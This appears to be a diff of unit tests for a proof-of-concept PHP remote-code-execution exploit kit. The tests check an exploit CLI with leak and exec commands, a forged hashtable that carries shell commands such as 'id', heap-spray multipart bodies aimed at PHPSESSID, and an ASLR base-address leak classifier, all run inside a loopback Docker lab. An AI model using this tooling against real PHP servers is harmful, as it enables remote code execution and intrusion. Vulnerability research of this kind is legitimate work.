class UrlTargetTest(unittest.TestCase):
def test_defaults_without_url(self):
ns = cli.resolve_target(parse(["exploit"]))
self.assertEqual((ns.host, ns.port, ns.path), ("127.0.0.1", 18110, ""))
def test_url_sets_host_port_and_path(self):
ns = cli.resolve_target(parse(["exploit", "--url", "http://10.0.0.5:8080/app/index.php"]))
self.assertEqual(ns.host, "10.0.0.5")
self.assertEqual(ns.port, 8080)
self.assertEqual(ns.path, "/app/index.php")
def test_url_default_port_80(self):
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal/index.php"]))
self.assertEqual(ns.port, 80)
def test_url_root_path_defaults(self):
ns = cli.resolve_target(parse(["leak", "--url", "http://lab.internal:9000"]))
self.assertEqual(ns.path, "/index.php")
def test_https_rejected(self):
with self.assertRaises(SystemExit):
cli.resolve_target(parse(["exploit", "--url", "https://lab.internal/"]))
def test_explicit_flags_win_over_url(self):
ns = cli.resolve_target(parse(["exploit", "--url", "http://a:1/x.php", "--port", "7000"]))
self.assertEqual(ns.port, 7000)
class BannerTest(unittest.TestCase):
def test_banner_carries_author_and_org(self):
import contextlib
import io
import poc
buf = io.StringIO()
with contextlib.redirect_stdout(buf):
cli.banner()
out = buf.getvalue()
self.assertIn(poc.__author__, out)
self.assertIn(poc.__org__, out)
self.assertIn(poc.__version__, out)
class ExecWrapperTest(unittest.TestCase):
def test_wrapper_redirects_output_to_mount(self):
wrapped = cli.exec_wrapper("id")
self.assertIn("id", wrapped)
self.assertIn("/out/.poc-exec", wrapped)
self.assertTrue(wrapped.endswith("2>&1"))
self.assertIn(chr(10), wrapped)
def test_wrapper_survives_multiple_commands(self):
wrapped = cli.exec_wrapper("id; uname -a")
self.assertIn("id; uname -a", wrapped)
def test_fits_boundary(self):
self.assertTrue(cli.exec_fits("A" * 150))
self.assertFalse(cli.exec_fits("A" * 300))
def test_limit_matches_forge_carrier(self):
from poc import forge
self.assertEqual(cli.CARRIER_LIMIT, 200)
with self.assertRaises(ValueError):
forge.build_ht(0, 0, b"A" * (cli.CARRIER_LIMIT + 1))
def test_exec_command_parses_and_resolves(self):
ns = cli.resolve_target(parse(["exec", "--cmd", "id", "--url", "http://h:9/x.php"]))
self.assertIs(ns.func, cli.cmd_exec)
self.assertEqual(ns.cmd, "id")
self.assertEqual((ns.host, ns.port, ns.path), ("h", 9, "/x.php"))
+45
View File
@@ -0,0 +1,45 @@
import struct
import unittest
from poc import forge
class ForgeTest(unittest.TestCase):
def test_ht_layout(self):
ht = forge.build_ht(0x7F0000000000, 0x7F0000A00000, b"id>/out/p1")
self.assertEqual(len(ht), 384)
self.assertEqual(struct.unpack_from("<II", ht, 0x00), (1, 7))
self.assertEqual(struct.unpack_from("<Q", ht, 0x10)[0], 0x7F0000000000 + 0x20)
self.assertEqual(struct.unpack_from("<Q", ht, 0x30)[0], 0x7F0000A00000)
self.assertEqual(struct.unpack_from("<I", ht, 0x4C)[0], 1)
self.assertEqual(struct.unpack_from("<Q", ht, 0x70)[0], 0x7F0000000000 + 0x80)
self.assertEqual(struct.unpack_from("<I", ht, 0x78)[0], 6)
self.assertEqual(ht[0x98:0x98 + 10], b"id>/out/p1")
def test_cmd_too_long_rejected(self):
with self.assertRaises(ValueError):
forge.build_ht(0, 0, b"A" * 500)
def test_ref_slot(self):
slot = forge.build_ref_slot(0x7F0000000000, 1)
self.assertEqual(len(slot), 32)
self.assertEqual(struct.unpack_from("<I", slot, 0)[0], 1)
self.assertEqual(slot[4], 0x0A)
self.assertEqual(struct.unpack_from("<Q", slot, 8)[0], 0x7F0000000000)
self.assertEqual(struct.unpack_from("<I", slot, 16)[0], 0x0107)
def test_b2_ordering(self):
cfg = {"vl": 384, "n1": 3, "n2": 3, "rc": 1, "name_len": 10,
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
body = forge.build_b2(cfg, ht_addr=0x7F0000000000, ht=b"h" * 384)
self.assertEqual(body.count(b"name=\"s000000000\""), 1)
self.assertEqual(body.count(b"name=\"t000000000\""), 1)
self.assertLess(body.index(b"name=\"ht\""), body.index(b"name=\"PHPSESSID\""))
self.assertLess(body.index(b"name=\"PHPSESSID\""), body.index(b"name=\"t000000000\""))
self.assertEqual(body.count(b"h" * 384), 1)
def test_b2_spray_density(self):
cfg = {"vl": 384, "n1": 2, "n2": 0, "rc": 1, "name_len": 10,
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
body = forge.build_b2(cfg, ht_addr=0x1111111111110000, ht=b"h" * 384)
self.assertEqual(body.count(struct.pack("<Q", 0x1111111111110000)), 2 * 11)
+72
View File
@@ -0,0 +1,72 @@
import os
import tempfile
import unittest
from poc import lab
NT = os.name == "nt"
class HostPathTest(unittest.TestCase):
def test_windows_branch_replaces_backslashes(self):
self.assertEqual(lab.host_path("C:\\Users\\x\\out", nt=True), "C:/Users/x/out")
def test_windows_branch_leaves_forward_slashes(self):
self.assertEqual(lab.host_path("C:/Users/x/out", nt=True), "C:/Users/x/out")
def test_posix_branch_is_identity(self):
self.assertEqual(lab.host_path("/srv/poc/out", nt=False), "/srv/poc/out")
def test_default_matches_platform(self):
p = os.path.join(tempfile.gettempdir(), "out")
got = lab.host_path(p)
self.assertNotIn("\\", got)
if not NT:
self.assertEqual(got, p)
class BuildRunArgsTest(unittest.TestCase):
def setUp(self):
self.root = os.path.join(tempfile.gettempdir(), "p2s-repo")
self.args = lab.build_run_args(self.root, "php:8.4.26-apache", "p2s-lab", 18110, nt=NT)
def test_three_volume_mounts(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
self.assertEqual(len(vols), 3)
for vol in vols:
self.assertTrue(vol.endswith(":ro") or vol.endswith(":/out"))
def test_destinations(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
joined = " ".join(vols)
self.assertIn(":/var/www/html/index.php:ro", joined)
self.assertIn(":/etc/apache2/conf-enabled/zz-p2s.conf:ro", joined)
self.assertTrue(joined.endswith(":/out"))
def test_volume_separators_are_docker_safe(self):
vols = [self.args[i + 1] for i, a in enumerate(self.args) if a == "-v"]
for vol in vols:
self.assertNotIn("\\", vol)
def test_image_precedes_entrypoint(self):
idx = self.args.index("php:8.4.26-apache")
self.assertEqual(self.args[idx + 1:idx + 3], ["/bin/sh", "-c"])
def test_port_publish_binds_loopback(self):
self.assertIn("127.0.0.1:18110:80", self.args)
def test_no_network_flag_by_default(self):
self.assertNotIn("--network", self.args)
def test_network_flag_when_requested(self):
args = lab.build_run_args(self.root, "img", "c", 1, net="p2s", nt=NT)
self.assertEqual(args[args.index("--network") + 1], "p2s")
def test_init_script_has_no_crlf(self):
self.assertNotIn("\r", lab.INIT)
self.assertIn("exec apache2-foreground", lab.INIT)
self.assertIn("php.ini-production", lab.INIT)
def test_no_shell_interpolation(self):
self.assertEqual(self.args.count("-c"), 1)
self.assertEqual(len([a for a in self.args if "$" in a]), 0)
+52
View File
@@ -0,0 +1,52 @@
import socket
import threading
import time
import unittest
from poc import lab
class WaitReadyTest(unittest.TestCase):
def _serve(self, payload):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("127.0.0.1", 0))
server.listen(8)
port = server.getsockname()[1]
stop = threading.Event()
def loop():
server.settimeout(0.2)
while not stop.is_set():
try:
conn, _ = server.accept()
except OSError:
continue
try:
conn.recv(1024)
conn.sendall(payload)
finally:
conn.close()
thread = threading.Thread(target=loop, daemon=True)
thread.start()
self.addCleanup(stop.set)
self.addCleanup(server.close)
return port
def test_returns_body_when_200(self):
port = self._serve(b"HTTP/1.0 200 OK\r\nContent-Length: 3\r\n\r\nOK\n")
self.assertEqual(lab.wait_ready(port, attempts=10), "OK")
def test_none_when_not_listening(self):
dropped = socket.socket()
dropped.bind(("127.0.0.1", 0))
port = dropped.getsockname()[1]
dropped.close()
started = time.time()
self.assertIsNone(lab.wait_ready(port, attempts=3, delay=0.01))
self.assertLess(time.time() - started, 5)
def test_ignores_non_200(self):
port = self._serve(b"HTTP/1.0 503 Nope\r\n\r\nbusy")
self.assertIsNone(lab.wait_ready(port, attempts=2, delay=0.01))
+62
View File
@@ -0,0 +1,62 @@
import os
import struct
import unittest
from poc import leak, profiles
_, PROF = profiles.select("51663cf883b1223436d4c99f31dd0225735ea5573665e4242621eee7f4ee679c")
CAP = os.path.join(os.path.dirname(__file__), "..", "research", "captures", "diag_decoded.bin")
def synth(lib, main, idc, n_main=87, n_id=7495, n_dtor=1095, decoy=0):
buf = bytearray()
buf += b"\x00" * 64
if decoy:
buf += struct.pack("<Q", 0x0000001600000001) * decoy
buf += struct.pack("<Q", lib + PROF["dtor_offset"]) * n_dtor
buf += struct.pack("<Q", idc + 0x1234) * n_id
buf += struct.pack("<Q", main + 0x1000) * n_main
return bytes(buf)
class LeakTest(unittest.TestCase):
def test_recovers_both_bases(self):
lib = 0x7D2700000000
main = lib - 0x1E00000
info = leak.classify(synth(lib, main, 0x7D2000000000), PROF)
self.assertEqual(info["lib"], lib)
self.assertEqual(info["main"], main)
self.assertEqual(info["main_bucket_count"], 87)
def test_low_mmap_base_is_accepted(self):
lib = 0x732700000000
main = lib - 0x1E00000
info = leak.classify(synth(lib, main, 0x732000000000), PROF)
self.assertEqual(info["lib"], lib)
def test_decoy_outnumbers_dtor_and_is_rejected(self):
lib = 0x7D2700000000
main = lib - 0x1E00000
info = leak.classify(synth(lib, main, 0x7D2000000000, decoy=4000), PROF)
self.assertEqual(info["lib"], lib)
def test_rejects_implausible_delta(self):
lib, main = 0x7D2700000000, 0x7D0000000000
with self.assertRaises(leak.LeakError):
leak.classify(synth(lib, main, 0x7D2000000000), PROF)
def test_no_pointer_raises(self):
with self.assertRaises(leak.LeakError):
leak.classify(b"\x00" * 4096, PROF)
@unittest.skipUnless(os.path.exists(CAP), "captured leak not present")
def test_real_capture(self):
with open(CAP, "rb") as fh:
buf = fh.read()
info = leak.classify(buf, PROF)
self.assertEqual(info["decoded"], 819208)
self.assertEqual(info["main_bucket_count"], 87)
delta = info["lib"] - info["main"]
self.assertGreaterEqual(delta, PROF["delta_min"])
self.assertLessEqual(delta, PROF["delta_max"])
self.assertEqual(info["lib"] % 0x1000, 0)